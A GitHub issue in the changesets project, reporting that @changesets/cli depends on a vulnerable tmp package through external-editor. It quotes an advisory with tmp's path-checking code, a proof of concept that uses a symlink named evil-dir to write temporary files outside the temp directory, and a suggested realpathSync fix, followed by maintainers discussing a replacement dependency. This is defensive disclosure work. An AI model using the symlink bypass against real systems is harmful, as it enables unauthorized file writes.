Repository navigation
Description
My project uses v2.28.1 of @changesets/cli, and recently, a vulnerability was reported for the tmp package.
tmp allows arbitrary temporary file / directory write via symbolic link
dirparameter
tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.
From my investigations, here is what I found:
- The
tmppackage is a dependency of theexternal-editorpackage, which is a dependency of@changesets/cli. - My project currently uses
v2.28.1of@changesets/cli, but even updating tov2.29.5(the latest version at the time of opening this issue) still won't make this vulnerability go away (reason in the next point). - Both
v2.28.1andv2.29.5of@changesets/cli packagedepend on the same version (v3.1.0) of theexternal-editorpackage, which is the latest version, released about 6+ years ago. This latest version of theexternal-editorpackage still uses a vulnerable version oftmpas a dependency (v0.0.33).
Details (extracted from dependabot alert)
According to the documentation there are some conditions that must be held:
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50
Other breaking changes, i.e.
- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks
are still in place.
In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
absolute paths are fine as long as they point to a location under the system's default temporary directory.
Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access,
as tmp will not check the availability of the path, nor will it establish the requested path for you.
Related issue: raszi/node-tmp#207.
The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
if (name.startsWith(tmpDir)) {
return path.resolve(name);
} else {
return path.resolve(path.join(tmpDir, name));
}
}If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
if (option === 'name') {
// assert that name is not absolute and does not contain a path
if (path.isAbsolute(name))
throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
// must not fail on valid .<name> or ..<name> or similar such constructs
let basename = path.basename(name);
if (basename === '..' || basename === '.' || basename !== name)
throw new Error(`${option} option must not contain a path, found "${name}".`);
}
else { // if (option === 'dir' || option === 'template') {
// assert that dir or template are relative to tmpDir
if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
}
let resolvedPath = _resolvePath(name, tmpDir); //<---
if (!resolvedPath.startsWith(tmpDir))
throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
}
}PoC
The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible.
Tested on a Linux machine.
- Setup: create a symbolic link inside the
tmpDirthat points to a directory outside of it
mkdir $HOME/mydir1
ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir- check the folder is empty:
ls -lha $HOME/mydir1 | grep "tmp-"- run the poc
node main.js
File: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".- the temporary file is created under
$HOME/mydir1(outside thetmpDir):
ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user 0 Apr X XX:XX tmp-[random-id]main.js
// npm i tmp@0.2.3
const tmp = require('tmp');
const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);
try {
tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
console.log('test 1:', err.message)
}
try {
tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
console.log('test 2:', err.message)
}
try {
const fs = require('node:fs');
const resolved = fs.realpathSync('/tmp/evil-dir');
tmp.fileSync({ 'dir': resolved});
} catch (err) {
console.log('test 3:', err.message)
}A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links.
function _resolvePath(name, tmpDir) {
let resolvedPath;
if (name.startsWith(tmpDir)) {
resolvedPath = path.resolve(name);
} else {
resolvedPath = path.resolve(path.join(tmpDir, name));
}
return fs.realpathSync(resolvedPath);
}
Activity
Andarist commentedon Aug 7, 2025
How this can affect a Changesets user?
benmccann commentedon Aug 8, 2025
There had been talk of swapping
external-editorfor https://github.com/yyx990803/launch-editor as part of changesets 3, which is currently under development. I imagine a PR would be welcomednwalters512 commentedon Aug 11, 2025
There's also now https://www.npmjs.com/package/@inquirer/external-editor (mrkmg/node-external-editor#32 (comment)) which should be API-compatible with the original
external-editor.Andarist commentedon Aug 11, 2025
I'm open to accepting a PR switching to
@inquirer/external-editor. We can later switch it tolaunch-editorin v3 - but it seems easier, for now, to switch to the API-compatible version.johnschult commentedon Aug 15, 2025
@Andarist Do you think this PR is going to be merged, I would love to get Dependabot off my back 😄
chore(node): update `@changesets/cli`